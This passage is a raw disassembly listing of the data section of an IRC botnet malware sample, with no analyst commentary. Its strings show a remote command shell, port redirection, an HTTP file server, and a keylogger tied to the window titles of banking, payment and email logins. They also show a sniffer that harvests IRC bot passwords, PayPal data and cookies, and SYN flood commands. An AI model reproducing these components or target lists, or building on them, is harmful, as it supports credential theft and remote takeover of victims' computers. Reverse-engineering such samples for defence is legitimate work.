OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char aHttp1_0200OkSe[] aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 ; char aApplicationOct[] aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 ; char asc_434C0C[] asc_434C0C db '-' ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 ; char asc_434C44[] asc_434C44 db '-' ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 ; char asc_434C78[] asc_434C78 db '*',0 ; DATA XREF: sub_4100B4+15Ao align 4 aS_9 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo ; char aFoundIFilesAnd[] aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 ; char aTrTdColspan3_0[] aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h ; char aPrivmsgSFoundS[] aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h ; char a31s21sIBytes[] a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 ; char aCodeSCodeA_0[] aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 ; char aPrivmsgS31s2_0[] aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 ; char a31s21s[] a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aCodeSCodeA[] aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 ; char aSS_4[] aSS_4 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 ; char aTrTdWidthDAHre[] aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 ; char aS_2[] aS_2 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h ; char a2_2d2_2d4d2_2d[] a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm_0 db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 ; char a__[] a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 ; char aTrTdColspan3AH[] aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aSearchingForS[] aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o ; char aTrTdColspan3Hr[] aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h ; char aTrTdWidthDCode[] aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 ; char aH1IndexOfSH1Ta[] aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 ; char aHtmlHeadTitleI[] aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 ; char aPrivmsgSSearch[] aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo ; char aSSHttp1_1Refer[] aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 ; char asc_435120[] asc_435120 db '-' ; DATA XREF: sub_410BFD+171o db 3, 34h, 2 dd 6E656469h, 3026474h aServerFailed_0 db '- server failed, returned %d',0 align 4 ; char aUseridUnixS[] aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o ; char asc_435164[] asc_435164 db '-' ; DATA XREF: sub_410BFD+BBo db 3, 34h, 2 dd 6E656469h, 3026474h aClientConnecti db '- client connection from %s:%d.',0 ; char asc_435190[] asc_435190 db '-' ; DATA XREF: sub_410DAB+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 ; char asc_4351CC[] asc_4351CC db '-' ; DATA XREF: sub_410DAB+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_435214[] asc_435214 db '-' ; DATA XREF: sub_410F3C+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 ; char asc_435254[] asc_435254 db '-' ; DATA XREF: sub_410F3C+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 ; char asc_435298[] asc_435298 db '-' ; DATA XREF: sub_4111C0+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 ; char asc_4352C4[] asc_4352C4 db '-' ; DATA XREF: sub_4111C0+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h ; char asc_4352F0[] asc_4352F0 db '-' ; DATA XREF: sub_4111C0+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o align 4 ; char asc_43532C[] asc_43532C db '-' ; DATA XREF: sub_4111C0+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 ; char asc_435358[] asc_435358 db '-' ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 ; char asc_435384[] asc_435384 db '-' ; DATA XREF: sub_41141F+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 ; char asc_4353BC[] asc_4353BC db '-' ; DATA XREF: sub_41144E+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 ; char asc_4353F4[] asc_4353F4 db '-' ; DATA XREF: sub_41144E+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h ; char asc_435430[] asc_435430 db '-' ; DATA XREF: sub_41144E+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_435474 db 2Dh ; - ; DATA XREF: sub_41144E+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 10h ; char asc_4354B0[] asc_4354B0 db '-' ; DATA XREF: sub_41144E+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 ; char asc_4354F4[] asc_4354F4 db '-' ; DATA XREF: sub_41144E+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h ; char asc_435520[] asc_435520 db '-' ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 ; char asc_435554[] asc_435554 db '-' ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 ; char asc_4355C4[] asc_4355C4 db '-' ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 ; char asc_435644[] asc_435644 db '-' ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 ; char asc_435684[] asc_435684 db '-' ; DATA XREF: sub_4119F9+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 ; char asc_4356C0[] asc_4356C0 db '-' ; DATA XREF: sub_411BCE+1B2o db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_38 db '- Failed to start server on Port %d.',0 align 4 ; char asc_4356F4[] asc_4356F4 db '-' ; DATA XREF: sub_411BCE+18Fo db 3, 34h, 2 dd 6B636F73h, 3023473h aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0 align 10h ; char asc_435730[] asc_435730 db '-' ; DATA XREF: sub_411BCE+114o db 3, 34h, 2 dd 6B636F73h, 3023473h aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 ; char dword_435774[] dword_435774 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 ; char dword_4357B8[] dword_4357B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 ; char dword_4357F8[] dword_4357F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_435838 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o ; char aEGold[] aEGold db 'e-gold',0 ; DATA XREF: sub_4125FC+13o align 10h dd 1Eh dup(0) aSignIn db 'Sign In',0 dd 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) aPosteItaliane db 'Poste Italiane',0 align 4 dd 1Ch dup(0) aFotolog_net db 'Fotolog.net',0 dd 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) aYahoo db 'Yahoo!',0 align 10h dd 1Eh dup(0) aDomainSearch db 'Domain Search',0 align 4 dd 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) aDomainName db 'Domain Name',0 dd 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8 ; DATA XREF: sub_4125FC+65o dword_43644C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_436B7C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) ; char aSS_5[] aSS_5 db '%s (%s)',0 ; DATA XREF: sub_4125FC+31o ; sub_41AF8F+EBo ; char a__S_l_ReturnS[] a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo align 4 ; char a__S_l_Return[] a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o align 4 a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o align 4 ; char a__S_l_ChangedW[] a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo align 4 ; char a__S_l_[] a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o ; sub_4126A7+145o ... align 4 off_436C48 dd offset dword_4374C0 ; DATA XREF: sub_412B61+2B9r dd offset off_4374BC dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" ; char a_login[] a_login db ':.login',0 ; DATA XREF: sub_412B61+1DEo dd 3 dup(0) dword_436C6C dd 0 ; DATA XREF: sub_412B61+2B2r aLogin_2 db ':,login',0 dd 4 dup(0) aLogin_3 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_4 db ':$login',0 dd 4 dup(0) aLogin_5 db ':%login',0 dd 4 dup(0) aLogin_6 db ':^login',0 dd 4 dup(0) aLogin_7 db ':&login',0 dd 4 dup(0) aLogin_8 db ':*login',0 dd 4 dup(0) aLogin_9 db ':-login',0 dd 4 dup(0) aLogin_10 db ':+login',0 dd 4 dup(0) aLogin_11 db ':/login',0 dd 4 dup(0) aLogin_12 db ':\login',0 dd 4 dup(0) aLogin_13 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_14 db ':',27h,'login',0 dd 4 dup(0) aLogin_15 db ':`login',0 dd 4 dup(0) aLogin_16 db ':~login',0 dd 4 dup(0) aLogin_17 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 4 dd 4 dup(0) aAuth db ':,auth',0 align 10h dd 4 dup(0) aAuth_0 db ':!auth',0 align 4 dd 4 dup(0) a@auth db ':@auth',0 align 10h dd 4 dup(0) aAuth_1 db ':$auth',0 align 4 dd 4 dup(0) aAuth_2 db ':%auth',0 align 10h dd 4 dup(0) aAuth_3 db ':^auth',0 align 4 dd 4 dup(0) aAuth_4 db ':&auth',0 align 10h dd 4 dup(0) aAuth_5 db ':*auth',0 align 4 dd 4 dup(0) aAuth_6 db ':-auth',0 align 10h dd 4 dup(0) aAuth_7 db ':+auth',0 align 4 dd 4 dup(0) aAuth_8 db ':/auth',0 align 10h dd 4 dup(0) aAuth_9 db ':\auth',0 align 4 dd 4 dup(0) aAuth_10 db ':=auth',0 align 10h dd 4 dup(0) a?auth db ':?auth',0 align 4 dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 10h dd 4 dup(0) aAuth_12 db ':`auth',0 align 4 dd 4 dup(0) aAuth_13 db ':~auth',0 align 10h dd 4 dup(0) aAuth_14 db ': auth',0 align 4 dd 4 dup(0) a_id db ':.id',0 align 10h dd 4 dup(0) aId_0 db ':,id',0 align 4 dd 4 dup(0) aId_1 db ':!id',0 align 10h dd 4 dup(0) a@id db ':@id',0 align 4 dd 4 dup(0) aId_2 db ':$id',0 align 10h dd 4 dup(0) aId_3 db ':%id',0 align 4 dd 4 dup(0) aId_4 db ':^id',0 align 10h dd 4 dup(0) aId_5 db ':&id',0 align 4 dd 4 dup(0) aId_6 db ':*id',0 align 10h dd 4 dup(0) aId_7 db ':-id',0 align 4 dd 4 dup(0) aId_8 db ':+id',0 align 10h dd 4 dup(0) aId_9 db ':/id',0 align 4 dd 4 dup(0) aId_10 db ':\id',0 align 10h dd 4 dup(0) aId_11 db ':=id',0 align 4 dd 4 dup(0) a?id db ':?id',0 align 10h dd 4 dup(0) aId_12 db ':',27h,'id',0 align 4 dd 4 dup(0) aId_13 db ':`id',0 align 10h dd 4 dup(0) aId_14 db ':~id',0 align 4 dd 4 dup(0) aId_15 db ': id',0 align 10h dd 4 dup(0) a_hashin_0 db ':.hashin',0 align 4 dd 3 dup(0) aHashin_0 db ':!hashin',0 align 10h aHashin_1 db ':$hashin',0 align 4 dd 3 dup(0) aHashin_2 db ':%hashin',0 align 10h a_secure db ':.secure',0 align 4 dd 3 dup(0) aSecure_1 db ':!secure',0 align 10h a_l db ':.l',0 dd 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) a_syn db ':.syn',0 align 4 dd 4 dup(0) aSyn_0 db ':!syn',0 align 10h dd 4 dup(0) aSyn_1 db ':$syn',0 align 4 dd 4 dup(0) aSyn_2 db ':%syn',0 align 10h dd 4 dup(0) aCdkey db ' CDKey ',0 dd 4 dup(0) aJoin_1 db 'JOIN #',0 align 10h dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .data:00436C54o align 4 aFtp db 'FTP',0 ; DATA XREF: .data:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: .data:00436C4Co dword_4374C0 dd 544F42h ; DATA XREF: .data:off_436C48o ; char asc_4374C4[] asc_4374C4 db '-' ; DATA XREF: sub_412B61+317o db 3, 34h, 2 dd 696E7370h, 3026666h aRecvFailedRetu db '- recv() failed, returned %d',0 align 10h ; char asc_4374F0[] asc_4374F0 db '-' ; DATA XREF: sub_412B61+2C6o db 3, 34h, 2 dd 696E7370h, 3026666h aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 ; char asc_437524[] asc_437524 db '-' ; DATA XREF: sub_412B61+24Co db 3, 34h, 2 dd 696E7370h, 3026666h, 2Dh ; 